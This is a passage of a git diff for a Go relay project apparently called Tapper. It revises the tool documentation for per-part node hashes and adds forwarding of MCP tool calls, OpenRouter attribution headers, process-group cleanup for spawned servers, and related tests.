`content`, `meta`, or both for 1–100 `nodes[]`; every item requires that node's returned hash, and one hash covers content and metadata together. | -| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using its required returned hash. | -| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying its own required returned hash. | +| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`. Each part has its own hash: supplied `content` requires `expected_content_hash` (the read's `content_hash`) and supplied `meta` requires `expected_meta_hash` (its `meta_hash`). Editing one part never invalidates the other's hash, and results return the new `content_hash` and `meta_hash`. | +| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using the combined `hash` from `node_read` as `expected_hash`. | +| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying the combined `hash` from `node_read` as `expected_hash`. | | `mcp__tapper__file_delete`, `mcp__tapper__image_delete` | Destructive attachment operations — see the Snapshots section below before calling. | | `mcp__tapper__snapshot_create` | Capture a revision before a destructive or large edit. | | `mcp__tapper__snapshot_list`, `mcp__tapper__snapshot_read` | Inspect read-only prior revisions. | @@ -155,11 +155,15 @@ code; the index does the work in O(matches) rather than O(total). Schema edits and deletes similarly require the hash from `schema_read`. Every conflict performs no operation: merge the change into returned current content or refetch with the corresponding read, then retry with the returned current -hash. - -A hash covers the resource version read. Mutations may invalidate it, and not -every mutation returns a replacement, so a sequence like edit-then-delete needs a -fresh read between the two calls rather than a reused token. Node ids are +hash — for `node_edit`, the returned `currentContentHash` or `currentMetaHash` +of the part being written. + +A hash covers the resource version read. `node_read` returns three per node: +`content_hash` and `meta_hash` for `node_edit`, and the combined `hash` for +`node_delete` and `node_move`. Mutations may invalidate a hash, and not every +mutation returns a replacement for every hash, so a sequence like +edit-then-delete needs a fresh read between the two calls rather than a reused +token. Node ids are per-keg counters as well: node 4 in one keg is unrelated to node 4 in another. ### Writing a node @@ -181,17 +185,18 @@ Use `schema_list` to see the names a keg accepts, then: {"nodes": [{"key": "a1", "content": "# Title\n\nBody", "meta": "type: document\n", "schema": "document"}]} ``` -`node_edit` takes the same two documents per item plus that node's current hash from -`node_read`, and either document may be omitted to leave it untouched: +`node_edit` takes the same two documents per item, each guarded by its own hash +from `node_read`, and either document may be omitted to leave it untouched: ```json -{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_content_hash": "CONTENT_HASH_FROM_READ"}]} +{"nodes": [{"node_id": "12", "meta": "type: document\n", "expected_meta_hash": "META_HASH_FROM_READ"}]} ``` -`node_delete` carries only ids and hashes: +`node_delete` carries only ids and the combined hashes: ```json -{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_READ"}]} ``` ## Agents @@ -398,9 +403,12 @@ the same operational information, including error diagnostics and recovery. YAML text; mutations use nodes arrays. Do not retry unchanged arguments. - PRECONDITION_REQUIRED: node_read, schema_read, full keg_settings_read, or flight_read - supplies the matching expected_hash. Snapshot before meaningful node edits. + supplies the matching expected_hash. node_edit needs expected_content_hash + for supplied content and expected_meta_hash for supplied meta (node_read's + content_hash and meta_hash). Snapshot before meaningful node edits. - CONFLICT: operationPerformed=false; refetch, merge the intended change, and - retry with the current hash. currentContent is diagnostic current content, + retry with the current hash (for node_edit, currentContentHash or + currentMetaHash of the part being written). currentContent is diagnostic current content, not necessarily the replacement-document format accepted by node_edit. - ORIENTATION_DENIED: inspect orient and select an accessible flight with the required authority; keg alone cannot grant access. diff --git a/integrations/rendered/opencode/tapper/skills/tapper/SKILL.md b/integrations/rendered/opencode/tapper/skills/tapper/SKILL.md index 1dc60cb..4757f42 100644 --- a/integrations/rendered/opencode/tapper/skills/tapper/SKILL.md +++ b/integrations/rendered/opencode/tapper/skills/tapper/SKILL.md @@ -143,9 +143,9 @@ code; the index does the work in O(matches) rather than O(total). | Tool | Purpose | | ------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------- | | `mcp__tapper__node_create` | Atomically create 1–100 nodes. Each is a markdown `content` document plus an optional YAML `meta` document; the title is the content's H1. Nodes in one batch reference each other with `{{node:KEY}}`. | -| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`; every item requires that node's returned hash, and one hash covers content and metadata together. | -| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using its required returned hash. | -| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying its own required returned hash. | +| `mcp__tapper__node_edit` | Call `node_read`, then atomically replace `content`, `meta`, or both for 1–100 `nodes[]`. Each part has its own hash: supplied `content` requires `expected_content_hash` (the read's `content_hash`) and supplied `meta` requires `expected_meta_hash` (its `meta_hash`). Editing one part never invalidates the other's hash, and results return the new `content_hash` and `meta_hash`. | +| `mcp__tapper__node_move` | Call `node_read`, then relocate a node using the combined `hash` from `node_read` as `expected_hash`. | +| `mcp__tapper__node_delete` | Call `node_read`, then atomically remove 1–100 `nodes[]`, each carrying the combined `hash` from `node_read` as `expected_hash`. | | `mcp__tapper__file_delete`, `mcp__tapper__image_delete` | Destructive attachment operations — see the Snapshots section below before calling. | | `mcp__tapper__snapshot_create` | Capture a revision before a destructive or large edit. | | `mcp__tapper__snapshot_list`, `mcp__tapper__snapshot_read` | Inspect read-only prior revisions. | @@ -155,11 +155,15 @@ code; the index does the work in O(matches) rather than O(total). Schema edits and deletes similarly require the hash from `schema_read`. Every conflict performs no operation: merge the change into returned current content or refetch with the corresponding read, then retry with the returned current -hash. - -A hash covers the resource version read. Mutations may invalidate it, and not -every mutation returns a replacement, so a sequence like edit-then-delete needs a -fresh read between the two calls rather than a reused token. Node ids are +hash — for `node_edit`, the returned `currentContentHash` or `currentMetaHash` +of the part being written. + +A hash covers the resource version read. `node_read` returns three per node: +`content_hash` and `meta_hash` for `node_edit`, and the combined `hash` for +`node_delete` and `node_move`. Mutations may invalidate a hash, and not every +mutation returns a replacement for every hash, so a sequence like +edit-then-delete needs a fresh read between the two calls rather than a reused +token. Node ids are per-keg counters as well: node 4 in one keg is unrelated to node 4 in another. ### Writing a node @@ -181,17 +185,18 @@ Use `schema_list` to see the names a keg accepts, then: {"nodes": [{"key": "a1", "content": "# Title\n\nBody", "meta": "type: document\n", "schema": "document"}]} ``` -`node_edit` takes the same two documents per item plus that node's current hash from -`node_read`, and either document may be omitted to leave it untouched: +`node_edit` takes the same two documents per item, each guarded by its own hash +from `node_read`, and either document may be omitted to leave it untouched: ```json -{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "content": "# Revised\n\nBody", "expected_content_hash": "CONTENT_HASH_FROM_READ"}]} +{"nodes": [{"node_id": "12", "meta": "type: document\n", "expected_meta_hash": "META_HASH_FROM_READ"}]} ``` -`node_delete` carries only ids and hashes: +`node_delete` carries only ids and the combined hashes: ```json -{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_CAT"}]} +{"nodes": [{"node_id": "12", "expected_hash": "HASH_FROM_READ"}]} ``` ## Agents @@ -398,9 +403,12 @@ the same operational information, including error diagnostics and recovery. YAML text; mutations use nodes arrays. Do not retry unchanged arguments. - PRECONDITION_REQUIRED: node_read, schema_read, full keg_settings_read, or flight_read - supplies the matching expected_hash. Snapshot before meaningful node edits. + supplies the matching expected_hash. node_edit needs expected_content_hash + for supplied content and expected_meta_hash for supplied meta (node_read's + content_hash and meta_hash). Snapshot before meaningful node edits. - CONFLICT: operationPerformed=false; refetch, merge the intended change, and - retry with the current hash. currentContent is diagnostic current content, + retry with the current hash (for node_edit, currentContentHash or + currentMetaHash of the part being written). currentContent is diagnostic current content, not necessarily the replacement-document format accepted by node_edit. - ORIENTATION_DENIED: inspect orient and select an accessible flight with the required authority; keg alone cannot grant access. diff --git a/internal/relay/attribution_test.go b/internal/relay/attribution_test.go new file mode 100644 index 0000000..64036e1 --- /dev/null +++ b/internal/relay/attribution_test.go @@ -0,0 +1,50 @@ +package relay + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" +) + +// OpenRouter is told which app a request came from; no other provider is. +func TestProviderAttributesOnlyOpenRouter(t *testing.T) { + var got http.Header + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + got = r.Header.Clone() + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"choices":[]}`)) + })) + t.Cleanup(srv.Close) + provider := func(kind string) *Provider { + t.Helper() + p, err := NewProvider(ProviderConfig{Name: kind, Kind: kind, BaseURL: srv.URL, APIKeyEnv: "KEY"}, func(string) string { return "k" }, nil) + if err != nil { + t.Fatal(err) + } + return p + } + call := func(p *Provider, ctx context.Context) { + t.Helper() + if _, err := p.ChatCompletions(ctx, json.RawMessage(`{"messages":[]}`), "m", false, func(json.RawMessage) error { return nil }); err != nil { + t.Fatal(err) + } + } + ctx := withApp(context.Background(), app{title: "Foldwise Atlas Chat", url: "https://hub.example/chat"}) + + call(provider(KindOpenRouter), ctx) + if got.Get("X-Title") != "Foldwise Atlas Chat" || got.Get("HTTP-Referer") != "https://hub.example/chat" { + t.Fatalf("openrouter headers = %v", got) + } + call(provider(KindOpenRouter), context.Background()) + if got.Get("X-Title") != "" || got.Get("HTTP-Referer") != "" { + t.Fatalf("a request without an app was attributed: %v", got) + } + for _, kind := range []string{KindOllama, KindOpenAI, KindOpenAICompatible} { + call(provider(kind), ctx) + if got.Get("X-Title") != "" || got.Get("HTTP-Referer") != "" { + t.Fatalf("%s was told the app: %v", kind, got) + } + } +} diff --git a/internal/relay/client.go b/internal/relay/client.go index 34354f5..6143b95 100644 --- a/internal/relay/client.go +++ b/internal/relay/client.go @@ -57,10 +57,13 @@ type Options struct { // Name identifies the relay to Hub. Name string // Version is the tap version reported at registration. - Version string - Providers []*Provider - Logger *slog.Logger - HTTPClient *http.Client + Version string + Providers []*Provider + // ToolServers are the MCP servers whose tools the relay forwards to hubs + // that speak protocol 2. + ToolServers []*ToolServer + Logger *slog.Logger + HTTPClient *http.Client // CatalogInterval is how often providers are re-listed. Zero means a minute. CatalogInterval time.Duration // ReadTimeout drops a connection that has been silent this long. Hub pings @@ -81,6 +84,12 @@ type Client struct { // the registered connections a catalog change is sent to. models []relaycontract.Model sessions map[*session]struct{} + + toolServers map[string]*ToolServer + // tools is the current tools frame; toolsVersion counts its changes so + // a session never sends an older list after a newer one. + tools []relaycontract.ToolServer + toolsVersion uint64 } // NewClient validates opts and returns a Client. @@ -105,8 +114,11 @@ func NewClient(opts Options) (*Client, error) { if !relaycontract.ValidName(opts.Name) { return nil, fmt.Errorf("relay: name %q may contain only letters, digits, '.', '_' and '-'", opts.Name) } - if len(opts.Providers) == 0 { - return nil, errors.New("relay: no providers configured") + if len(opts.Providers) == 0 && len(opts.ToolServers) == 0 { + return nil, errors.New("relay: no providers or mcp servers configured") + } + if len(opts.ToolServers) > relaycontract.MaxToolServers { + return nil, fmt.Errorf("relay: at most %d mcp servers may be configured", relaycontract.MaxToolServers) } if opts.CatalogInterval <= 0 { opts.CatalogInterval = defaultCatalogInterval @@ -125,12 +137,26 @@ func NewClient(opts Options) (*Client, error) { } providers[p.Name()] = p } - return &Client{ - opts: opts, - providers: providers, - logger: logger, - sessions: make(map[*session]struct{}), - }, nil + c := &Client{ + opts: opts, + providers: providers, + logger: logger, + sessions: make(map[*session]struct{}), + toolServers: make(map[string]*ToolServer, len(opts.ToolServers)), + tools: []relaycontract.ToolServer{}, + } + for _, ts := range opts.ToolServers { + if _, dup := c.toolServers[ts.Name()]; dup { + return nil, fmt.Errorf("relay: duplicate mcp server %q", ts.Name()) + } + ts.logger = logger + if ts.http == nil { + ts.http = opts.HTTPClient + } + ts.onChange = c.toolsChanged + c.toolServers[ts.Name()] = ts + } + return c, nil } // Run keeps the relay connected to every hub until ctx ends. A permanent @@ -143,6 +169,9 @@ func (c *Client) Run(ctx context.Context) error { c.models = c.listModels(runCtx) c.mu.Unlock() go c.refreshCatalog(runCtx) + for _, ts := range c.opts.ToolServers { + go ts.run(runCtx) + } errs := make([]error, len(c.opts.Hubs)) var wg sync.WaitGroup @@ -168,14 +197,21 @@ func (c *Client) Run(ctx context.Context) error { // provider and shared by every hub, so a hub can still hear "overloaded" // for a busy provider; this only keeps a hub from queueing more than the // whole relay could ever run. +// +// It is at least 1 because register requires it, even for a relay that +// offers no providers. func (c *Client) advertisedLimit() int { total := 0 for _, p := range c.opts.Providers { total += p.MaxConcurrent() } - return min(total, relaycontract.MaxConcurrentCap) + return max(1, min(total, relaycontract.MaxConcurrentCap)) } +// supportedProtocols are the relay protocol versions this client speaks, +// offered in register. Hub picks the highest it also speaks. +var supportedProtocols = []int{1, 2, 3} + // runHub keeps one hub connected until ctx ends or that hub rejects the // relay for good. func (c *Client) runHub(ctx context.Context, hub Hub) error { @@ -316,6 +352,14 @@ type session struct { c *Client conn *websocket.Conn + // protocol is the version Hub chose in registered. Frames newer than it + // must not be sent on this session. + protocol int + + // toolsMu orders tools frames; sentTools is the version last sent. + toolsMu sync.Mutex + sentTools uint64 + writeMu sync.Mutex mu sync.Mutex @@ -345,7 +389,7 @@ func (c *Client) runOnce(ctx context.Context, hub Hub) (registered bool, err err s.setOffered(models) if err := s.send(ctx, relaycontract.TypeRegister, "", relaycontract.Register{ - Relay: relaycontract.RelayInfo{Name: c.opts.Name, Version: c.opts.Version, Protocols: []int{relaycontract.ProtocolVersion}}, + Relay: relaycontract.RelayInfo{Name: c.opts.Name, Version: c.opts.Version, Protocols: supportedProtocols}, Limits: relaycontract.Limits{MaxConcurrent: c.advertisedLimit()}, Models: nonNil(models), }); err != nil { @@ -361,7 +405,11 @@ func (c *Client) runOnce(ctx context.Context, hub Hub) (registered bool, err err if err := env.Decode(®); err != nil { return false, err } - c.logger.Info("relay registered", "hub", hub.URL, "name", c.opts.Name, "models", len(reg.Models)) + if !slices.Contains(supportedProtocols, reg.Protocol) { + return false, fmt.Errorf("%w: hub chose protocol %d", ErrIncompatible, reg.Protocol) + } + s.protocol = reg.Protocol + c.logger.Info("relay registered", "hub", hub.URL, "name", c.opts.Name, "protocol", reg.Protocol, "models", len(reg.Models)) if c.opts.OnRegistered != nil { c.opts.OnRegistered(hub.URL, reg) } @@ -389,6 +437,7 @@ func (c *Client) runOnce(ctx context.Context, hub Hub) (registered bool, err err c.mu.Lock() c.sessions[s] = struct{}{} latest := c.models + tools, toolsVersion := c.tools, c.toolsVersion c.mu.Unlock() defer func() { c.mu.Lock() @@ -398,6 +447,11 @@ func (c *Client) runOnce(ctx context.Context, hub Hub) (registered bool, err err if !sameCatalog(models, latest) { s.sendCatalog(sessCtx, latest) } + if s.protocol >= 2 { + s.sendTools(sessCtx, toolsVersion, tools) + } else if len(c.toolServers) > 0 { + c.logger.Warn("hub does not support relayed tools; serving models only", "hub", hub.URL, "protocol", s.protocol) + } return true, s.readLoop(sessCtx) } @@ -458,6 +512,8 @@ func (s *session) readLoop(ctx context.Context) error { } case relaycontract.TypeInfer: s.startInfer(ctx, env) + case relaycontract.TypeCall: + s.startCall(ctx, env) case relaycontract.TypeCancel: s.mu.Lock() cancel := s.inflight[env.ID] @@ -521,6 +577,7 @@ func (s *session) startInfer(ctx context.Context, env relaycontract.Envelope) { } func (s *session) infer(connCtx, reqCtx context.Context, id string, p *Provider, req relaycontract.Infer) { + reqCtx = withApp(reqCtx, app{title: req.AppTitle, url: req.AppURL}) emit := func(obj json.RawMessage) error { return s.send(connCtx, relaycontract.TypeChunk, id, relaycontract.Chunk{Data: obj}) } @@ -560,6 +617,70 @@ func (s *session) infer(connCtx, reqCtx context.Context, id string, p *Provider, } } +func (s *session) startCall(ctx context.Context, env relaycontract.Envelope) { + if env.ID == "" { + return + } + if s.protocol < 2 { + s.fail(ctx, env.ID, relaycontract.CodeUnsupported, "tool calls need relay protocol 2") + return + } + var req relaycontract.Call + if err := env.Decode(&req); err != nil { + s.fail(ctx, env.ID, relaycontract.CodeBadRequest, err.Error()) + return + } + server := s.c.toolServers[req.Server] + if server == nil || !server.offers(req.Tool) { + s.fail(ctx, env.ID, relaycontract.CodeUnknownTool, "tool is not offered by this relay") + return + } + if !server.tryAcquire() { + s.fail(ctx, env.ID, relaycontract.CodeOverloaded, "mcp server "+server.Name()+" is at its concurrency limit") + return + } + reqCtx, cancel := context.WithCancel(ctx) + s.mu.Lock() + s.inflight[env.ID] = cancel + s.mu.Unlock() + s.wg.Add(1) + go func() { + defer func() { + cancel() + s.mu.Lock() + delete(s.inflight, env.ID) + s.mu.Unlock() + server.release() + s.wg.Done() + }() + s.call(ctx, reqCtx, env.ID, server, req) + }() +} + +func (s *session) call(connCtx, reqCtx context.Context, id string, server *ToolServer, req relaycontract.Call) { + callCtx, stop := context.WithTimeout(reqCtx, server.cfg.Timeout) + defer stop() + result, err := server.call(callCtx, req.Tool, req.Arguments) + if err != nil { + code, msg := relaycontract.CodeToolUnavailable, err.Error() + switch { + case reqCtx.Err() != nil: + code, msg = relaycontract.CodeCancelled, "call cancelled" + case errors.Is(callCtx.Err(), context.DeadlineExceeded): + code, msg = relaycontract.CodeTimeout, "call ran past "+server.cfg.Timeout.String() + } + s.fail(connCtx, id, code, msg) + return + } + if err := s.send(connCtx, relaycontract.TypeChunk, id, relaycontract.Chunk{Data: result}); err != nil { + s.c.logger.Debug("relay could not send tool result", "error", err) + return + } + if err := s.send(connCtx, relaycontract.TypeDone, id, relaycontract.Done{}); err != nil { + s.c.logger.Debug("relay could not send done", "error", err) + } +} + func (s *session) fail(ctx context.Context, id, code, msg string) { if err := s.send(ctx, relaycontract.TypeError, id, relaycontract.Error{Code: code, Message: msg}); err != nil { s.c.logger.Debug("relay could not send error", "error", err) @@ -577,6 +698,10 @@ func (c *Client) refreshCatalog(ctx context.Context) { return case <-ticker.C: } + // A server that never announces list changes is caught up here. + for _, ts := range c.opts.ToolServers { + ts.refresh(ctx) + } models := c.listModels(ctx) c.mu.Lock() if sameCatalog(c.models, models) { @@ -605,6 +730,79 @@ func (s *session) sendCatalog(ctx context.Context, models []relaycontract.Model) } } +// toolsChanged rebuilds the tools frame from the servers that are up and +// sends it to every protocol 2 hub when it changed. +func (c *Client) toolsChanged() { + tools := c.toolCatalog() + c.mu.Lock() + if sameToolCatalog(c.tools, tools) { + c.mu.Unlock() + return + } + c.tools = tools + c.toolsVersion++ + version := c.toolsVersion + sessions := make([]*session, 0, len(c.sessions)) + for s := range c.sessions { + if s.protocol >= 2 { + sessions = append(sessions, s) + } + } + c.mu.Unlock() + for _, s := range sessions { + s.sendTools(context.Background(), version, tools) + } +} + +// toolCatalog lists the servers that are up, in configuration order, within +// the protocol's limits on total tools and frame size. +func (c *Client) toolCatalog() []relaycontract.ToolServer { + out := []relaycontract.ToolServer{} + total := 0 + for _, ts := range c.opts.ToolServers { + server, up := ts.catalog() + if !up { + continue + } + if room := relaycontract.MaxTools - total; len(server.Tools) > room { + c.logger.Warn("relay offers too many mcp tools; skipping the rest", "server", server.Name, "limit", relaycontract.MaxTools) + server.Tools = server.Tools[:room] + } + total += len(server.Tools) + out = append(out, server) + } + for { + raw, _ := json.Marshal(relaycontract.Tools{Servers: out}) + if len(raw) <= relaycontract.MaxToolsFrameBytes || len(out) == 0 { + return out + } + last := &out[len(out)-1] + c.logger.Warn("relay mcp tools exceed the frame limit; skipping a server", "server", last.Name) + out = out[:len(out)-1] + } +} + +func sameToolCatalog(a, b []relaycontract.ToolServer) bool { + ra, _ := json.Marshal(a) + rb, _ := json.Marshal(b) + return string(ra) == string(rb) +} + +// sendTools tells this session's hub which tools the relay offers, unless a +// newer list was already sent. +func (s *session) sendTools(ctx context.Context, version uint64, tools []relaycontract.ToolServer) { + s.toolsMu.Lock() + defer s.toolsMu.Unlock() + if version != 0 && version <= s.sentTools { + return + } + if err := s.send(ctx, relaycontract.TypeTools, "", relaycontract.Tools{Servers: tools}); err != nil { + s.c.logger.Debug("relay could not send tools", "error", err) + return + } + s.sentTools = version +} + // apiFor is the one API a model serves: transcription for the provider's // configured speech models, embeddings for models the catalog marks so, and // chat completions for the rest. diff --git a/internal/relay/procgroup_other.go b/internal/relay/procgroup_other.go new file mode 100644 index 0000000..b35fe12 --- /dev/null +++ b/internal/relay/procgroup_other.go @@ -0,0 +1,13 @@ +//go:build !unix + +package relay + +import "os/exec" + +func setProcessGroup(*exec.Cmd) {} + +func killProcessGroup(cmd *exec.Cmd) { + if cmd.Process != nil { + _ = cmd.Process.Kill() + } +} diff --git a/internal/relay/procgroup_unix.go b/internal/relay/procgroup_unix.go new file mode 100644 index 0000000..6c143b0 --- /dev/null +++ b/internal/relay/procgroup_unix.go @@ -0,0 +1,23 @@ +//go:build unix + +package relay + +import ( + "os/exec" + "syscall" +) + +// setProcessGroup starts a stdio MCP server in its own process group, so +// the relay can stop everything it spawned (npx and the node it runs, say) +// and a Ctrl-C meant for the relay reaches the server only through it. +func setProcessGroup(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} +} + +// killProcessGroup kills whatever is left of the server's process group +// after its session closed. +func killProcessGroup(cmd *exec.Cmd) { + if cmd.Process != nil { + _ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL) + } +} diff --git a/internal/relay/provider.go b/internal/relay/provider.go index e7dfa2c..51df6a8 100644 --- a/internal/relay/provider.go +++ b/internal/relay/provider.go @@ -2,9 +2,13 @@ // locally configured providers to Tapper Hub over an outbound WebSocket and // forwards the inference requests Hub pushes back down to those providers. // -// The relay forwards inference and nothing else. Destinations are the -// providers named in the user's own configuration; nothing Hub sends can name -// a URL, host, or header. +// It also forwards tool calls to the MCP servers named in the same +// configuration, to hubs that speak relay protocol 2. +// +// The relay forwards inference and tool calls and nothing else. Destinations +// are the providers and MCP servers named in the user's own configuration; +// nothing Hub sends can name a command, URL, host, header, or environment +// variable. A tool call names only a server and tool the relay advertised. package relay import ( @@ -469,6 +473,35 @@ func (p *Provider) authorize(req *http.Request) { if p.apiKey != "" { req.Header.Set("Authorization", "Bearer "+p.apiKey) } + p.attribute(req) +} + +// app is where a request came from, as Hub named it in infer. +type app struct{ title, url string } + +type appKey struct{} + +// withApp carries a request's app to the provider call it makes. +func withApp(ctx context.Context, a app) context.Context { + if a == (app{}) { + return ctx + } + return context.WithValue(ctx, appKey{}, a) +} + +// attribute names the request's app to OpenRouter, which shows it in its +// logs and rankings (X-Title, HTTP-Referer). No other provider kind is told. +func (p *Provider) attribute(req *http.Request) { + if p.kind != KindOpenRouter { + return + } + a, _ := req.Context().Value(appKey{}).(app) + if a.title != "" { + req.Header.Set("X-Title", a.title) + } + if a.url != "" { + req.Header.Set("HTTP-Referer", a.url) + } } // readSSE forwards each `data:` event and returns the last usage reported. diff --git a/internal/relay/relay_test.go b/internal/relay/relay_test.go index df6d91c..08d7024 100644 --- a/internal/relay/relay_test.go +++ b/internal/relay/relay_test.go @@ -8,6 +8,7 @@ import ( "io" "net/http" "net/http/httptest" + "slices" "strings" "sync" "testing" @@ -478,6 +479,52 @@ func TestUnsupportedVersionIsPermanent(t *testing.T) { } } +// A Hub that predates protocol 2 checks the envelope version before it reads +// register, so the relay must keep stamping version 1 while offering 2. +func TestRegisterOffersEveryProtocolInVersion1Envelope(t *testing.T) { + _, psrv := newFakeProvider(t, "qwen3:8b") + hub := newFakeHub(t) + startRelay(t, hub, []*Provider{ollama(t, psrv.URL)}, nil) + ctx := context.Background() + conn := hub.accept(t) + env := readEnv(t, ctx, conn) + if env.V != 1 { + t.Fatalf("register envelope v = %d, want 1", env.V) + } + var reg relaycontract.Register + if err := env.Decode(®); err != nil { + t.Fatal(err) + } + if !slices.Equal(reg.Relay.Protocols, []int{1, 2, 3}) { + t.Fatalf("protocols = %v, want [1 2 3]", reg.Relay.Protocols) + } + // An old hub answers with protocol 1 and the session works as before. + writeEnv(t, ctx, conn, relaycontract.TypeRegistered, "", relaycontract.Registered{Protocol: 1, Models: []relaycontract.CatalogBinding{}}) + writeEnv(t, ctx, conn, relaycontract.TypePing, "", nil) + if got := readEnv(t, ctx, conn); got.Type != relaycontract.TypePong { + t.Fatalf("frame = %q, want pong", got.Type) + } +} + +func TestHubChoosingUnofferedProtocolIsPermanent(t *testing.T) { + _, psrv := newFakeProvider(t, "qwen3:8b") + hub := newFakeHub(t) + _, done := startRelay(t, hub, []*Provider{ollama(t, psrv.URL)}, nil) + ctx := context.Background() + conn := hub.accept(t) + readEnv(t, ctx, conn) + writeEnv(t, ctx, conn, relaycontract.TypeRegistered, "", relaycontract.Registered{Protocol: 4, Models: []relaycontract.CatalogBinding{}}) + select { + case err := <-done: + if !errors.Is(err, ErrIncompatible) { + t.Fatalf("Run = %v, want ErrIncompatible", err) + } + done <- err + case <-time.After(5 * time.Second): + t.Fatal("relay kept retrying a hub that chose an unoffered protocol") + } +} + func TestOwnerDisconnectIsPermanent(t *testing.T) { _, psrv := newFakeProvider(t, "qwen3:8b") hub := newFakeHub(t) diff --git a/internal/relay/tools.go b/internal/relay/tools.go new file mode 100644 index 0000000..4d2037f --- /dev/null +++ b/internal/relay/tools.go @@ -0,0 +1,470 @@ +package relay + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "log/slog" + "net/http" + "os/exec" + "slices" + "strings" + "sync" + "time" + + sdkmcp "github.com/modelcontextprotocol/go-sdk/mcp" + + "github.com/jlrickert/tapper/pkg/relaycontract" +) + +// The relay also forwards tool calls to MCP servers named in its owner's +// configuration. Hub can name only a server and a tool from the catalog the +// relay sent it, plus a JSON object of arguments; the command a server runs, +// the URL it listens on, its headers, and its environment all come from local +// configuration and never cross the wire. + +// Defaults for a configured MCP server. +const ( + DefaultToolTimeout = 2 * time.Minute + minToolBackoff = time.Second + maxToolBackoff = time.Minute + // toolStableAfter is how long a server must stay up before a crash no + // longer counts against its backoff. + toolStableAfter = time.Minute +) + +// ErrToolServerDown means the MCP server is not connected right now. +var ErrToolServerDown = errors.New("mcp server is not running") + +// ToolServerConfig describes one MCP server. Exactly one of Command or URL is +// set. Env is the child's whole environment (see ToolEnv); Headers are sent +// on every HTTP request, already resolved from the environment. +type ToolServerConfig struct { + Name string + Title string + Command string + Args []string + Dir string + Env []string + URL string + Headers map[string]string + // Allow and Deny filter the server's tools by name (exact or glob). An + // empty Allow offers every tool not denied. + Allow []string + Deny []string + // MaxConcurrent bounds this server's in-flight calls across every hub. + // Zero means DefaultMaxConcurrent. + MaxConcurrent int + // Timeout bounds one call. Zero means DefaultToolTimeout. + Timeout time.Duration +} + +// ToolServer supervises one MCP server: it connects (starting the command +// for a stdio server), lists the tools, reconnects after a crash, and runs +// calls. Its catalog is empty whenever it is down. +type ToolServer struct { + cfg ToolServerConfig + sem chan struct{} + logger *slog.Logger + http *http.Client + + mu sync.Mutex + session *sdkmcp.ClientSession + tools []relaycontract.Tool + // onChange is called, without mu held, after the catalog changes. + onChange func() +} + +// NewToolServer validates cfg and returns a server that is not yet running. +func NewToolServer(cfg ToolServerConfig) (*ToolServer, error) { + if !relaycontract.ValidName(cfg.Name) { + return nil, fmt.Errorf("relay: mcp server name %q must be 1-%d letters, digits, '.', '_' or '-'", cfg.Name, relaycontract.MaxNameLength) + } + switch { + case cfg.Command == "" && cfg.URL == "": + return nil, fmt.Errorf("relay: mcp server %s needs a command or a url", cfg.Name) + case cfg.Command != "" && cfg.URL != "": + return nil, fmt.Errorf("relay: mcp server %s sets both command and url; choose one", cfg.Name) + case cfg.URL != "" && !strings.HasPrefix(cfg.URL, "http://") && !strings.HasPrefix(cfg.URL, "https://"): + return nil, fmt.Errorf("relay: mcp server %s url must start with http:// or https://", cfg.Name) + } + if cfg.MaxConcurrent == 0 { + cfg.MaxConcurrent = DefaultMaxConcurrent + } + if cfg.MaxConcurrent < 1 || cfg.MaxConcurrent > relaycontract.MaxConcurrentCap { + return nil, fmt.Errorf("relay: mcp server %s maxConcurrent must be between 1 and %d", cfg.Name, relaycontract.MaxConcurrentCap) + } + if cfg.Timeout == 0 { + cfg.Timeout = DefaultToolTimeout + } + if cfg.Timeout < 0 { + return nil, fmt.Errorf("relay: mcp server %s timeout must be positive", cfg.Name) + } + if len(cfg.Title) > relaycontract.MaxToolTitleLength { + return nil, fmt.Errorf("relay: mcp server %s title is longer than %d bytes", cfg.Name, relaycontract.MaxToolTitleLength) + } + return &ToolServer{cfg: cfg, sem: make(chan struct{}, cfg.MaxConcurrent)}, nil +} + +// Name returns the server's configured name. +func (s *ToolServer) Name() string { return s.cfg.Name } + +func (s *ToolServer) tryAcquire() bool { + select { + case s.sem <- struct{}{}: + return true + default: + return false + } +} + +func (s *ToolServer) release() { <-s.sem } + +// catalog is the server as Hub sees it, and whether it is up. A server that +// is down is left out of the tools frame entirely. +func (s *ToolServer) catalog() (relaycontract.ToolServer, bool) { + s.mu.Lock() + defer s.mu.Unlock() + if s.session == nil { + return relaycontract.ToolServer{}, false + } + return relaycontract.ToolServer{ + Name: s.cfg.Name, + Title: s.cfg.Title, + MaxConcurrent: cap(s.sem), + Tools: slices.Clone(s.tools), + }, true +} + +func (s *ToolServer) offers(tool string) bool { + s.mu.Lock() + defer s.mu.Unlock() + if s.session == nil { + return false + } + return slices.ContainsFunc(s.tools, func(t relaycontract.Tool) bool { return t.Name == tool }) +} + +// run keeps the server connected until ctx ends. +func (s *ToolServer) run(ctx context.Context) { + backoff := minToolBackoff + for ctx.Err() == nil { + started := time.Now() + err := s.serveOnce(ctx) + if ctx.Err() != nil { + return + } + if time.Since(started) > toolStableAfter { + backoff = minToolBackoff + } + 